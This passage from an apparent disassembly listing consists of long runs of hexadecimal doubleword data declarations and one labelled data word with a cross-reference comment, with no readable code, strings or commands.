		dd 0A6B88E00h, 0EB2148CEh, 382BB500h, 8415663Dh, 8B430901h
		dd 10844E88h, 40F34EBEh, 9FEB385Ah, 0A07F00CEh,	5854F03Fh
		dd 0C71F304Eh, 0E5809104h, 0FBF57E10h, 79289914h, 3F4318C0h
		dd 0C10B67C9h, 14000478h, 0E7DAD22Bh, 6A750A0Eh, 5C0D93ABh
		dd 0B3416960h, 70328A82h, 2AB7F11h, 0E887C1A5h,	8B8420B6h
		dd 2B1C22E0h, 0C87A1B5h, 92821957h, 30D4AAF3h, 76084674h
		dd 980E0324h, 0F531A64Eh, 0FBD48341h, 8C8148C7h, 4800A846h
		dd 0F0CE9750h, 7DE625C8h
		dd 3A3CBF00h, 0E4CC2D35h, 1BDA0053h, 8800BF5h, 0B91FCAh
		dd 2924611h, 0FE88DD2Ah, 1644446Ch, 0B7FC1D41h,	0ECC9490Ch
		dd 20C5B804h, 60E920A8h, 0DB6A11BCh, 3E00BBB5h,	9D0FCF2Dh
		dd 2258DFCh, 53030236h,	0E05FEBF4h, 5891A929h, 0FA88D874h
		dd 4D6D58C0h, 224C460Ch, 50C3009Eh, 7533996Dh, 2EE57F9h
		dd 0E34B9614h, 18DBC08Ch, 359F1F5h, 8CBA4AF7h, 0DD886401h
		dd 5000D671h, 0FBFA0C54h, 0A608040Bh, 23842BCh,	0D78510F0h
		dd 0B8546040h, 8184677Ah, 0DDE64E7Eh, 0E1001189h, 22F7B168h
		dd 5879322Dh, 46DF0CBAh, 68612466h, 0E4010F22h,	3F28D635h
		dd 9A2358h, 0DD1ED0Fh, 6A5D469Bh, 9DAB8B0h, 0BDFFB5BAh
		dd 68006064h, 0CB447634h, 1CF703Eh, 0D958C3A3h,	8095DD8Bh
		dd 78FAA781h, 1425DA0h,	6C6D40D5h, 0C0C04CB9h, 5709BC76h
		dd 550AFCh, 5D9B90BDh, 0CC2A1D19h, 2F958BCAh, 0C967DC04h
		dd 84B841C8h, 23207313h, 464D01D3h, 18403359h, 45EA88BFh
		dd 0FCEF4605h, 54C2E33Ch, 6C3A107Fh, 0A001AF7Ah, 0A2CD2B60h
		dd 0E4ED1D7Bh, 0F5B0AE8h, 135DD30Eh, 0A7646500h, 710A60C4h
		dd 0CC754D79h, 0AA0AC11Ch, 0FB11D0F4h, 4E6D5980h, 448C540Ch
		dd 5101C499h, 50098E6Dh, 2C69DD73h, 60FC4864h, 234F6D5Ah
		dd 9F115C0Ch, 6D00CB58h, 114822AFh, 0D502B347h,	0E96B58F2h
		dd 0AC80A0B0h, 9B90EAEh, 20505624h, 0E8608CCAh,	370136F7h
		dd 678A8F64h, 0B842F133h, 0A8E4ADh, 3DCC7528h, 3C35F9F8h
		dd 47378AFCh, 0DB40292Fh, 0A0092933h, 3C61594h,	7F730287h
		dd 2BFB8884h, 1DDF293Eh, 4809AA8Ah, 516C3161h, 19A24C23h
		dd 4BC3D30h, 4F29F806h,	168CC22Fh, 58392B11h, 0C98EDD18h
		dd 320047ACh, 53566322h, 0BF3A0A5h, 0E8438011h,	0BEF80C90h
		dd 843C7C00h, 2FD97426h, 0F5D0478h, 0CCDBCB60h,	590020F0h
		dd 3F32BA89h, 2097E12h,	2B984331h, 9C60EBB4h, 5446AF4h
		dd 4ED20FA0h, 4CA0FC2Ah, 54123703h, 3FFEB22h, 0DEF3680Eh
		dd 9B8235F8h, 42B60860h, 276B8100h, 3C718F6h, 3990A405h
		dd 4059F52h, 0C03A5EE9h, 4D76100Eh, 75FDA300h, 1C098A44h
		dd 696500FFh, 2B51039Ah, 5E3098EBh, 0C1047C80h,	1E421F5Ah
		dd 6B7F8F1h, 0B290F059h, 0CA007899h, 9F916E75h,	1855E04Ah
		dd 0B1887DB9h, 2600FE3Ch, 2B5DE266h, 0E0F510B7h, 0F90E3C52h
		dd 960BEF00h, 8492F3A9h, 8C44C84Ah, 0E840877Bh,	6C6021BDh
		dd 9C00394Bh, 0DDE06792h, 1EBF71D2h, 40AD480Eh,	3CED47CEh
		dd 0A1C1096Bh, 2C38E5C8h, 630CF8FBh, 5C934E90h,	0F9B580BCh
		dd 0AC792FDDh, 6C4E8C0Ch, 828855h, 0C60BE2DEh, 0E7421A88h
		dd 687E63B8h, 67A1D60Dh, 0B26008A5h, 0D1C10544h, 0AF064B13h
		dd 890DF1C0h, 44F0F0Ah,	9F9D15CEh, 10F701D8h, 0D84C08CCh
		dd 0C9F009CDh, 3B60A974h, 0DB4A1810h, 4ED50788h, 20CEE0C6h
		dd 3C11B8AEh, 0ADC0217h, 14CB4400h, 0C91545h, 0DBC14B08h
		dd 0D811471Ah, 0E13A1778h, 8A306ED7h, 3A3EFD18h, 0BCC00012h
		dd 0D40F380Dh, 104F0AC5h, 4864C6DEh, 6DFF504h, 10EA5950h
		dd 0F2D70F1Eh, 0C5400C2Eh, 3C1632Fh, 6CC4232Eh,	8301B26h
		dd 27E621B9h, 31520063h, 0DA8EC25Ch, 690C0BDFh,	61A4BEFCh
		dd 68C700C1h, 0C9E42A36h, 0AC6722DAh, 20BCBB08h, 0BF75E8h
		dd 69464285h, 592AFCEh,	152E6200h, 51A90BACh, 0C071DDB2h
		dd 9DB4228Fh, 2900A6E5h, 0F1D232D0h, 0C1DAD306h, 79EDB059h
		dd 0F86847D7h, 0C0632EC1h, 0C1181BCDh, 63E4E589h, 9AF601EDh
		dd 0B7BA89AAh, 61B4FC3Dh, 8AB1AB62h, 539CA06Dh,	5397B65h
		dd 6E9428BBh, 7801F8Bh,	486A2976h, 0B90F401Eh, 0F611B88Dh
		dd 32B70FBh, 0A98CF560h, 830E557h, 0F21821F3h, 2197032Bh
		dd 3F31A0FDh, 377E4BB0h, 79738A37h, 0E46B03D0h,	0FA40001Ch
		dd 0A81BEC72h, 3D0CED2Eh, 0F871D50Fh, 35078CF8h, 532EC764h
		dd 40C06468h, 93632DECh, 0CD5A00FCh, 306E32E1h,	28006269h
		dd 0CFAE9DC5h, 291048A0h, 0A2CF6D7h, 14AB6433h,	0BD882C43h
		dd 632BEA80h, 4A3EFE9h,	5EB4FF24h, 2A0C90A7h, 0EE754AEDh
		dd 5C307105h, 0A0016D1Eh, 0FB6325CAh, 1ADE188Ch, 5B2AB450h
		dd 100C0E4h, 60E683F4h,	29E0737h, 0F20B326h, 90A769A9h
		dd 882741D1h, 8711816Bh, 0F1FA99FEh, 0E8E39FC7h, 7F0830E9h
		dd 99F6A821h, 0F078300h, 2778081Eh, 0E5C8A8E3h,	296E6122h
		dd 0F0045AF0h, 3648AE9Ch, 38F62374h, 29306884h,	75E238B4h
		dd 7C8A00B9h, 820EC8DBh, 5F37B47Bh, 78D621B6h, 0F6300069h
		dd 31D1F08h, 0CE383B60h, 4C4500AAh, 513140C7h, 5B0A8DFh
		dd 41B56FC0h, 0D320B88Eh, 0FDB28826h, 0FF305900h, 0A8850542h
		dd 457500BDh, 1D2CD8C9h, 149004FBh, 0B0370604h,	2E43ABF3h
		dd 1E5028Ch, 0AEDD4C4h,	0A829AA03h, 0A28EA518h,	0F8ED28F1h
		dd 71D90354h, 5E1696B0h, 7F3E8CE0h, 0ED3040C1h,	208651E8h
		dd 0A80BF70Fh, 86426C18h, 28252420h, 0F8F4DEB3h, 0DCA9504Ah
		dd 913612D5h, 0EBFC01ADh, 20B6D062h, 150CD740h,	89570D75h
		dd 1BA07440h, 20BF783Bh, 98B7C4C7h, 2B08F9B4h, 0C4E55FFEh
		dd 0F01640EBh, 15CFF52Bh, 80A6EFB0h, 14419E1Dh,	29C24BEh
		dd 1D60052Ch, 803DD847h, 54432BF7h, 16C700Eh, 24789EABh
		dd 10768A9Ah, 0B269A2h,	0D43DC693h, 7A65D5ADh, 3C3539EEh
		dd 8803498Fh, 0FC0486FDh, 90C42B01h, 0DB58408Eh, 600EFFAh
		dd 0B0C1D2E3h, 385417h,	5A82AA0Ch, 0A3CFBBE2h, 26608805h
		dd 0A007B7E5h, 3079A5D2h, 1099FD84h, 0E0E9F1F9h, 99F5A7h
		dd 35D2FCB1h, 0EF2F77B6h, 40B4BF88h, 861E9F68h,	1407E7FAh
		dd 0F8705D0Fh, 78C9D14Bh, 27C1F35h, 21E6492Bh, 0BC75890h
		dd 99726207h, 0D87A1032h, 0A45F3706h, 30F07F21h, 0D918B10Ch
		dd 0C90C8C15h, 217C23E5h, 0D0B55550h, 4F75DCh, 44B4A6A4h
		dd 7AFDF9D3h, 0B6038B01h, 4152CE4Bh, 0EAF20422h, 6FBFB830h
		dd 0E1CFE1B3h, 0C66AE740h, 0B40044CAh, 959E0D4Bh, 3D848A09h
		dd 62268B42h, 0DEF56164h, 60A802DCh, 0F38E8C58h, 0EB0E6180h
		dd 0D2691747h, 0E635CF09h, 0B70C1023h, 2EE537F7h, 0C09E8F79h
		dd 0FDC30236h, 75608926h, 2969AB19h, 8CB000BFh,	6E3F525Ah
		dd 613231D5h, 30BAF036h, 1112BFCh, 0F088FD60h, 2BF31980h
		dd 0A714D5h, 25925805h,	0CE5C2EC8h, 0CC9348h, 172F2707h
		dd 26329A01h, 478A330h,	0C2E0E161h, 120AF58h, 51F432F2h
		dd 36F1DCD3h, 3C20BDE5h, 1188B0C9h, 10DDE3ECh, 0ECFCC52Ah
		dd 71F7078Ch, 0F5F66442h, 0EA06427h, 8FF7898h, 0C187682Fh
		dd 8B655FFDh, 0B98800CEh, 31313EC3h, 8A149418h,	79598077h
		dd 0E626B272h, 4984011Ah, 0ED2FA470h, 0F1B3FCD0h, 9EF5C83Fh
		dd 300077F2h, 0BF05C1F8h, 0DA99C0ADh, 0E97E5C45h, 63D38702h
		dd 608EA927h, 930CFEDh,	35CA02A1h, 0F011409Dh, 63497A80h
		dd 0A00BD89h, 649B5DEEh, 4DF22726h, 2D23040Eh, 1F9A040Eh
		dd 64FB21C8h, 0FCAE4084h, 1E208299h, 1A8C498h, 7145358Bh
		dd 7773209Dh, 81DD2C30h, 50D55E5Fh, 0C06BFCAFh,	3161C948h
		dd 4099B817h, 0BB187ED1h, 0A0CE1916h, 91F78830h, 414300F6h
		dd 0F57C6C76h, 18005996h, 0E96010EEh, 4864B4A8h, 42CF4CAAh
		dd 0CF0FBBE8h, 1E2A0102h, 0E5E0A01Bh, 59746225h, 64932676h
		dd 0C004BBDAh, 30F71C82h, 0C61D6434h, 91A14B2Eh, 2CEB00BEh
		dd 0B33BFC63h, 0BC350350h
		dd 0B29526D7h, 2A775013h, 30E50821h, 60005472h,	91194731h
		dd 0A2485062h, 67590FB4h, 0BE73E284h, 37C8416Eh, 8188A44Eh
		dd 25D0F2C7h, 70721EBFh, 652D717Eh, 0AE990C7h, 9498C5FCh
		dd 0CE22E8B1h, 106E9081h, 50204298h, 18FFA4ABh,	40A6895Dh
		dd 2877F5B8h, 0D3297960h, 1C22559Eh, 66ACAB42h,	0AD4B0053h
		dd 889D98C2h, 7B4C900h,	3805BAF0h, 90994CB0h, 235322C0h
		dd 0B6044E4Dh, 0FA2EFFCFh, 0C5DBD080h, 5C2A19F1h, 206180B2h
		dd 44B1CD7Ch, 3407F281h, 6B30BE47h, 0A12A000Bh,	0F461874Fh
		dd 4B0E3E35h, 52765C6h,	0D440AF51h, 7E401D88h, 18E4A7h
		dd 94625EF4h, 0CFCE63C1h, 37C2DF03h, 0B0C96C2Ah, 0CFD3253Eh
		dd 9644F5F0h, 402082EDh, 0F1E4B865h, 9D63E862h,	2DE94988h
		dd 5832B277h, 908AC9B7h, 8F4FA4h, 0D798EF5Bh, 1A7C09F5h
		dd 0A63EF700h, 19E3AF8Ah, 56600906h, 0B4A3CA5Dh, 69A9A7A4h
		dd 0C04428F8h, 2A3268C3h, 38808CC4h, 48EABBE4h,	3BFDCC00h
		dd 2F1D2C37h, 2C3CBA02h, 0BC042A74h, 14196C92h,	28234014h
		dd 0A499FF0Fh, 8362F9F1h, 99F7A920h, 81C50008h,	4E663144h
		dd 0C85C553Ah, 0CE980004h, 0C94AF75Dh, 2D080C05h, 32D1B28Dh
		dd 6E129413h, 0BDC8248Eh, 0AB6F0EC0h, 0EA7C0026h, 0B0DB5341h
		dd 92B1EBh, 0DC65B42Ch,	0BB25CA40h, 0C80482DBh,	0EA0140BFh
		dd 3D8AE593h, 0B1A81841h, 3B520030h, 4C5DB604h,	411F1C0Ch
		dd 0D4048480h, 7DC2955Fh, 11D08752h, 58B43459h,	0B8C8840Eh
		dd 0FF2BFAC0h, 24ED485Fh, 0C0AD17E3h, 3D2ECD64h, 4AABC502h
		dd 5256B4DEh, 0CC9D48C8h, 0ECC0D4A3h, 0AE00B393h, 0F9016FF4h
		dd 8A7FA63h, 0A357F0A2h, 0FB081253h, 29C409C0h,	0BDA8840Ch
		dd 112BFC8Ch, 88156004h, 0F61C81F2h, 0E077662Bh, 581F3149h
		dd 370665FEh, 1C996F8Ah, 0EE59E5h, 0AA9F7208h, 0DD501AF5h
		dd 0C02206C4h, 947800ABh, 6F5E7B27h, 2D2C6EBCh,	9096CC30h
		dd 0BB23EC3Ah, 0A5BC0F00h, 0C3BA51F1h, 7098D19h, 543FB8F8h
		dd 40110E00h, 4719813Ch, 3A8207A4h, 192F20CBh, 2B774881h
		dd 7E9BED8h, 2364ED2Eh,	9CF27194h, 1C30BEF2h, 56CD0D38h
		dd 23FE3606h, 3080A2F4h, 8100FCD2h, 2EC7077Ch, 9C78CA6Ch
		dd 0B6893FA4h, 4C44D503h, 0F6302E72h, 0C84C2098h, 0B2C02A9Ah
		dd 2DA300B8h, 0EC9084B6h, 0BA075229h, 9C7649FCh, 1DC09600h
		dd 0D12620C9h, 0B0D6A603h, 0C7DF32EAh, 11981D8Bh, 96D8BB9h
		dd 80D8A21Eh, 24E501C6h, 0BAE1806Ah, 252E3803h,	0ABF379FFh
		dd 3060ACB4h, 2E23C263h, 0BD112Bh, 0D6328E7h, 25127ED2h
		dd 0FC208ECEh, 1F438250h, 4ABBE907h, 28103653h,	0F0BA3E1h
		dd 84B5D27Dh, 0C89D52ABh, 9CEE11h, 5D12E7D4h, 5262E60h
		dd 0FED008D3h, 0D0D281A2h, 0D8A9BEF4h, 24DE7135h, 6E86498h
		dd 0F0A1D092h, 729CEAFh, 0F7850768h, 0A0200813h, 2AF136F5h
		dd 0A0D08EBAh, 66E258h,	0EE71EB95h, 77D2E613h, 0EC462F4Eh
		dd 1970F830h, 69FCED92h, 1508299h, 52C035CAh, 0DC261CFCh
		dd 0BE598081h, 47B40356h, 31FC660Eh, 645BC9CEh,	3725108Ch
		dd 0DC3024FEh, 2EE60585h, 10F230C8h, 0ED2B062h,	0F0B9265Fh
		dd 4A80C92Ah, 0A4F024B8h, 0D263E58Ch, 0F9FB90A8h, 0C193E68Eh
		dd 5EA80E9Bh, 996ACBC1h, 0FE21CC89h, 0A6770D02h, 6BF83106h
		dd 63CF8090h, 0BFC9139Ah, 667C2704h, 350EB9A6h,	20CF11B5h
		dd 0D56B64C3h, 8C034D1Bh, 89AC8440h, 3E622066h,	0E15C9201h
		dd 0B78C0E57h, 2CBC51E6h, 0AD800860h, 0C4B9EB20h, 3C188079h
		dd 0F3E3ED00h, 0DA05CF4Ch, 0C3552856h, 5AF11794h, 37D04BCCh
		dd 0F27B6802h, 17AD4471h, 80BB9104h, 8AD4CD8Dh,	8989C070h
		dd 0F421D7EBh, 9C127579h, 9C908EF8h, 0BB14574h,	0B907C05Fh
		dd 0A4684809h, 0BCB1ECB0h, 0DD63F82Ch, 0CC178083h, 357826C8h
		dd 695260F8h, 0E200D09Eh, 93C42482h, 9C415158h,	0F1465C18h
		dd 8BB4FC00h, 5C4B7FFEh, 107C9E4Ch, 28489AFAh, 93E11F10h
		dd 0BE23242Eh, 9ED92900h, 2805C6EBh, 0F5EC4ED0h, 0FC9AC019h
		dd 1101F123h, 0F8AA047Bh, 10809399h, 269CA864h,	182857AEh
		dd 0E5B569CDh, 58E282Dh, 306AD14Ch, 42911D05h, 6990A10Ch
		dd 10628364h, 261809CCh, 0B0E8E9AFh, 0A4A8E28Eh, 0CF002357h
		dd 0B79055B1h, 0F125C762h, 5114CC28h, 0A78798B4h, 8D6E50ACh
		dd 0EF01D78Ch, 0F15CE121h, 0D0702B11h, 690A1702h, 0C2E460F7h
		dd 29233168h, 1DBE11BCh, 6A47BAE3h, 2AD05C97h, 4E8E730h
		dd 0B56099C7h, 60A8E563h, 2E88ABECh, 6CFE5994h,	0D794275Bh
		dd 0D88961B7h, 5548C87Ch, 0F0035000h, 6460FCC8h, 0E78E30C2h
		dd 0FAFF42F1h, 7368D00h, 0BE27219h, 57031E4Bh, 38140969h
		dd 3C360C61h, 0C0CD80CCh, 0A7F104h, 2BD90BCAh, 54B1CB5Eh
		dd 68620C04h, 0C4E306C3h, 0B1B85118h, 0BC3A4647h, 8C5A8009h
		dd 1887C922h, 0C64B00D7h, 0DDD206Dh, 0B8BC389Fh, 2BA465Eh
		dd 3E605F70h, 0B04D895h, 0C34462F1h, 0A450B042h, 0BC6C4058h
		dd 61018CECh, 30C86FF9h, 84488AA8h, 0ACB10097h,	0BA5424ADh
		dd 0DE012771h, 74B21D4h, 90204CCFh, 2128C2Bh, 1315FE9Ah
		dd 9D7D8860h, 0A299CFACh, 8A3791C2h, 92006C44h,	261A860Dh
		dd 6BD79Eh, 0A33649BCh,	9FD2C93Eh, 0AA7DE404h, 0C88E8B0h
		dd 10BF626h, 242B315h, 0FE64A4C7h, 24174CD0h, 5080ED25h
		dd 0EAB4BA5h, 5664659Bh, 0A90F3180h, 2D2C8C67h,	0C990DC4Dh
		dd 26B3DF82h, 0F04E7044h, 0F4841034h, 17FF84E4h, 882BB630h
		dd 97002984h, 0DDDF6C15h, 3AFCB416h, 1B806008h,	0A093FFD4h
		dd 9B019C29h, 392B206Eh, 43F496D9h, 61090E52h, 8B6E72F2h
		dd 0A98D7B80h, 0C20076CDh, 4A7E3A07h, 3ADACEAAh, 2600F017h
		dd 0A3BCEACAh, 534C16A5h, 3BD40058h, 5F764BF5h,	72CE0378h
		dd 619867F3h, 1034C7BDh, 15A6E0C2h, 5A03771Fh, 5CA46C81h
		dd 0AC247A1Eh, 9D6F0C5h, 57B4C6A0h, 0D2993C68h,	465CB8BEh
		dd 9B2B0B7Dh, 1C60E470h, 27477Ch, 7F4FA9C9h, 73010A10h
		dd 6B1521BFh, 0C2FC7550h, 0F3B03982h, 4433F055h, 21ECE02h
		dd 96C0DE98h, 0B35F542Ah, 0F1230C3Bh, 98A5100h,	0C12D7D0h
		dd 0E48E6E45h, 0D67DF321h, 131F0107h, 7FE0CF66h, 176244DCh
		dd 9B863999h, 0D04E8040h, 0B21EECA4h, 79A8B94Ch, 24018BFh
		dd 93203EC1h, 0C0C1D310h, 0EC0515B3h, 70A0B536h, 0FC255C77h
		dd 0F52A3780h, 78CAF9B2h, 0BF0A0C63h, 0EF80F0A9h, 0F08BA6BDh
		dd 110170Bh, 683C0B36h,	4E3C5840h, 7DD16CB9h, 5B054418h
		dd 6A8197DFh, 0C288C48Eh, 0D57705C0h, 1CCFEA0h,	6BB6E70h
		dd 11742AE6h, 10222F76h, 51250709h, 0CCC834E1h,	5A076158h
		dd 3A60E5EFh, 0D926DAF0h, 8B20D3AAh, 0C07FC878h, 0F2733A65h
		dd 0A851702Ch, 80D33740h, 0B8D10160h, 64661F35h, 4BEAD019h
		dd 5FE4C16h, 0B36888h, 1ED207A1h, 0B0DD1693h, 0E2BC3A00h
		dd 0F3F0AE1Dh, 0CCB42FF7h, 3E835490h, 484324C0h, 4779A0h
		dd 1CDE770Ch, 0D302BC1Ah, 37FF2D0Fh, 0E82B654Eh, 0A0C8EC24h
		dd 4C5F0006h, 1AC82D87h, 221C3F56h, 0E4C63DBEh,	1231FAC9h
		dd 20EFB0E6h, 3A5C2E0Ch, 0F1F40097h, 9426F7B8h,	0D2E504D4h
		dd 0CD0A1C2h, 0B1002880h, 0FA38A8C0h, 276BEB9h,	0EA1421B8h
		dd 1888469Eh, 86951DC8h, 79E98EA3h, 42785900h, 0D4C45E21h
		dd 0E6A0031Bh, 237ABE93h, 0DC1D0CC0h, 5421C94Fh, 0D99DB0BFh
		dd 0A398407Ch, 0D489599Dh
		dd 4166F600h, 391CBB4Bh, 0A80B262h, 0BCF935FFh,	8EF809F8h
		dd 0DD00F85Ah, 0A0601162h, 13ADB4D2h, 40F3B6E9h, 0D35FCF4Dh
		dd 0CEE8C821h, 0CC0E96FEh, 0C9F90237h, 0C888995Ch, 0C0A35BF8h
		dd 0F6CA0111h, 4D32365Fh, 0EEC070B3h, 5A69120Ch, 1FA853FCh
		dd 95068020h, 51ADCD91h, 0A51FB002h, 8BABA438h,	8CCC90CCh
		dd 72BB19A6h, 3C9EB83Eh, 97BD2714h, 827D9124h, 662E92B2h
		dd 0F4631EC8h, 0DDD4C0BFh, 30E85FE5h, 0AB0F02F2h, 402F2C72h
		dd 67BC0A9Ch, 80424BEDh, 269DA5E4h, 0A022C92Ch,	2EA14930h
		dd 0C078F32Bh, 0A23CD54Bh, 30ECF2A4h, 0DB0477D8h, 0B0482AF1h
		dd 0FC30F0C4h, 0E1F5DDh, 99546544h, 2CC5B487h, 42AEFC03h
		dd 0E802D09Fh, 5A5F3D06h, 9DD40463h, 67C902CBh,	46B450DFh
		dd 9A03022Ch, 6719F1FFh, 0C0AD1E64h, 0A7213199h, 0B09423E5h
		dd 0BEE02A46h, 692C249Ch, 0A02C9C04h, 8C9420C8h, 1CB9465Eh
		dd 793EF425h, 62720106h, 3E50CD98h, 7DA40736h, 6CA0148h
		dd 666C7342h, 2153F024h, 352A046Dh, 84019A66h, 0A924D042h
		dd 0E2005CDEh, 0B9EA83E1h, 732CFE65h, 45BE4E5Fh, 0C6333A8Ch
		dd 0DF0064A4h, 0CCCEFC07h, 98C24989h, 772D22D0h, 6B2C5050h
		dd 0E2A6C800h, 0CFD7E0DDh, 3B789045h, 0F4A91029h, 63310160h
		dd 18332EC3h, 29E888BCh, 9A4F6302h, 0C4521158h,	0A9210180h
		dd 0FEE2D116h, 0BCADD087h, 166CEA3Eh, 18208937h, 0C2850Ch
		dd 64B9767h, 0AC273B26h, 5AF35C05h, 0B400C99Ch,	0CB1D2A34h
		dd 8C849708h, 0BC04E86Dh, 91018CB7h, 8C2F6703h,	0A8308F9Ah
		dd 696C904Eh, 86369E0h,	204262B4h, 825C2F60h, 9C47B4Dh
		dd 29E12977h, 0C8C80594h, 8D2B40Ch, 0F1F80231h,	0F4B0FAA9h
		dd 0CE398C52h, 408A3363h, 0FEA0252Ch, 6BAFE810h, 5D781516h
		dd 6CF91E00h, 174F6A82h, 81279E10h, 212C3D18h, 1068AD3Ah
		dd 2143A8h, 58118CF4h, 9717FA59h, 2D00DF74h, 7E12310Fh
		dd 0BC6F6B18h, 60BCC430h, 3D032BFEh, 0D0DC0D60h, 2BF51BB0h
		dd 0AABAB300h, 0FA278669h, 8BD60DA7h, 68D0825Eh, 29DCECCh
		dd 40CEC93Dh, 9E7667C0h, 0F2465E28h, 93B6D000h,	0B772F8Dh
		dd 0E5F1921Dh, 76B422AFh, 5A9C7228h, 80805FBFh,	0B5DB46FBh
		dd 0C0169F3Fh, 104165BDh, 33022AF5h, 0C4288831h, 168CEBBCh
		dd 17301A5Bh, 0AE5088BCh, 0EC2A880Eh, 0B94A808Eh, 0E99C1Fh
		dd 56297DE6h, 0B499B068h, 904C6259h, 49F032C4h,	0B2D120ACh
		dd 4C01E9FBh, 0FA108035h, 0F44695C6h, 0EF17FF29h, 756937E0h
		dd 0AE3C8706h, 537A8059h, 0A670251Ah, 0D67725BDh, 0F89888C6h
		dd 0F86E08DDh, 3B18F374h, 57B1EE00h, 1442664Dh,	0C6213F1h
		dd 2670C2ACh, 2B42FCE6h, 6822CC48h, 0CA4CB0Ah, 0DCA880A0h
		dd 0C602FB46h, 0DC2A3568h, 0E7664C79h, 8BB8240Ah, 81F7006Ah
		dd 91905ABh, 742EC904h,	408092FEh, 5E26CF01h, 3872F0B2h
		dd 4A742C48h, 87801C9Bh, 4F5CEF07h, 0C8E08E3Ch,	95DE10DCh
		dd 9EED2A0Bh, 320FF841h, 30C1F294h, 4A007D3Ah, 371C7420h
		dd 0E7B53457h, 0FD87E06Ch, 7489093Ah, 9D09F846h, 0D9FC2ECCh
		dd 9AED065Ch, 320488E2h, 0DDF9C25Ch, 0B8E8E0A8h, 0FF30028Ch
		dd 2EE60309h, 72500076h, 7F0D009Ah, 0E7FE1A1Bh,	0C40095A6h
		dd 5615220Ch, 99D805F1h, 18B5D1C8h, 0F5B02655h,	0FE736190h
		dd 0DD8A0093h, 2C9D9FA7h, 62808291h, 4FC20D1Fh,	0F4EEF802h
		dd 442A779Dh, 5ED71750h, 0F310421Dh, 0AC90BF80h, 3598E9FEh
		dd 7514324Ch, 0D9BE1900h, 9F2524E8h, 9C209FECh,	842AF3B9h
		dd 9CAC869Dh, 5C300D40h, 0DFC0850Ah, 36D5E806h,	0F68C031h
		dd 0F08CA4C8h, 98A0DDC9h, 71D94DF8h, 2663F505h,	0E0C01EB3h
		dd 596CA4B8h
		db 0FAh, 50h
word_505446	dw 2401h		; DATA XREF: ___:off_435DD0o
		dd 0B037B22Ch, 984F3EE8h, 1DCC019Ah, 9083E907h,	8D3A8C30h
		dd 0F6023003h, 4A19225Ah, 0C8248BC0h, 0EE44C0ECh, 0E4B1513Ah
		dd 0CE7F1D00h, 8693D3h,	0C14DE790h, 0FFC246D1h,	0C8352D18h
		dd 2E62F5E0h, 408CC074h, 2CF0A624h, 57023876h, 5AB468DFh
		dd 0AC45E12h, 4EFCF7B0h, 95766BE2h, 42F40100h, 750BEC4h
		dd 0D056223Ch, 100D0247h, 465CACBCh, 0E33D00C2h, 0DF902252h
		dd 61E06EAh, 8924E64Eh,	8F5FA109h, 0F350A983h, 0AF447044h
		dd 0E7247601h, 8CD7DF9Dh, 0A4209AC8h, 5C0F56D8h, 258269A0h
		dd 0D006CF00h, 938EEB76h, 0F9361360h, 3228C1A7h, 4BCF11D8h
		dd 886231E1h, 25AA3602h, 0B45CFCD3h, 0C9809501h, 3E2EDE5Dh
		dd 78C7784h, 0B88953CCh, 0A819FC8Eh, 68415Ch, 0F46E52A6h
		dd 1270EC0h, 2FFF7C2Ah,	6AB7882Bh, 408F2412h, 73C0EA88h
		dd 49055508h, 320B34CAh, 3447EDD9h, 0A864ED64h,	3A64904Ch
		dd 20708042h, 49B11B4h,	43730117h, 67724DF9h, 1BC4187h
		dd 0A9F303B2h, 0AC21ADFBh, 22336C00h, 69DB2455h, 5A3002E8h
		dd 0D4646859h, 444DF43Eh, 0EBE18BB4h, 241815Dh,	62B600Ah
		dd 0B63F070h, 0C97795B5h, 231E4451h, 0EF534D80h, 49B651h
		dd 3C5D27D0h, 5669DA6Ah, 8E1631EAh, 3A36D9h, 4113BE23h
		dd 163C0Bh, 0A73545DBh,	2098B82Ch, 5F74360Bh, 0BA8B927h
		dd 0F1E8E2DCh, 0F9778048h, 22FDB1B7h, 68950900h, 706EB38h
		dd 44819DF8h, 0A5A7F6AFh, 7678CA31h, 1892A7DCh,	8C45CCCh
		dd 4CB928E5h, 0AC0FC725h, 0A03B87BDh, 580C89Dh,	27378B58h
		dd 0C91C3CE4h, 0C15E620Ch, 2A7BF1B1h, 371FBCBEh, 81CAF288h
		dd 0FD5DFFA5h, 38443BB3h, 3604379Ch, 0DDF8E489h, 0D451DB00h
		dd 1DF44F52h, 0BD6409CEh, 2019C297h, 960FF86Eh,	83308500h
		dd 0A6B72426h, 2C9D2E64h, 0A2370954h, 7F792851h, 8D02C818h
		dd 77E75612h, 419C7C2Eh, 7B7ED26h, 0B8742BB1h, 0A25E08Bh
		dd 0B691C417h, 780E2C81h, 0DF304027h, 0CE415136h, 3C172C21h
		dd 0AAFC8CEh, 80A4AA50h, 66694ACFh, 60B6C006h, 0D8D42F81h
		dd 0C7F8E75Bh, 0B901090Eh, 3C5A59B4h, 808AF14Eh, 0A5843026h
		dd 2DF28461h, 18205F70h, 1D314CC5h, 0C0175F06h,	800E63C4h
		dd 0F8040203h, 0D2E68791h, 5AE52898h, 61508C22h, 0F46020B5h
		dd 18900BC3h, 3906AC03h, 568AD92Eh, 4F24A47Ch, 38165B00h
		dd 1F00A7C2h, 0AF8083E2h, 0BB0A2F06h, 0B3EE70B8h, 0D5D7E005h
		dd 10E0E556h, 5C849ED2h, 881C8446h, 2EF20072h, 97075F19h
		dd 0DA05DD0Bh, 0BACC115Eh, 0FC2291CCh, 3C375CFEh, 4A521510h
		dd 0E400086Eh, 3A2E0DAh, 3E4A741Fh, 0DFB088h, 1E6F90FDh
		dd 6B42627Dh, 0C0953700h, 0CF7B91CDh, 0A0D922F9h, 0BF599CB9h
		dd 64002818h, 0FA5498B8h, 6051014Ch, 0CA1221ACh, 7201ADE4h
		dd 0CEC9FB9Bh, 46F6A8Bh, 0AC268A88h, 4E692E8h, 4CA24EA0h
		dd 0F9C87303h, 0B686642Eh, 2E04F658h, 0B0C0DCA7h, 0BEFA74B8h
		dd 15C22494h, 26610036h, 4899B431h, 31B75408h, 8AAE518h
		dd 10BF4210h, 248CCB89h, 5F89C31h, 0B68BD40h, 0E6025C6Ch
		dd 203C2808h, 6D6A20F0h, 14463EDh, 9A659BFEh, 223EF5B0h
		dd 2A1156CCh, 81E8FEF0h, 8C7720AEh, 0B108AF9Fh,	2F68C080h
		dd 448CAC29h, 7590E1BCh, 0C6198500h, 18B604ABh,	44A494C2h
		dd 0A218E48Ah, 33F1CF00h, 0E7DF6E8Bh, 837E0137h, 0DC34CC5Dh
		dd 0D83D0DA1h, 8B0177A8h, 24ADFFE0h, 2F6EAA2Ch,	0EF2380h
		dd 39D46F2Ah, 9A13775Ah, 7CA48DC9h, 232904E1h, 0EE74C2A0h
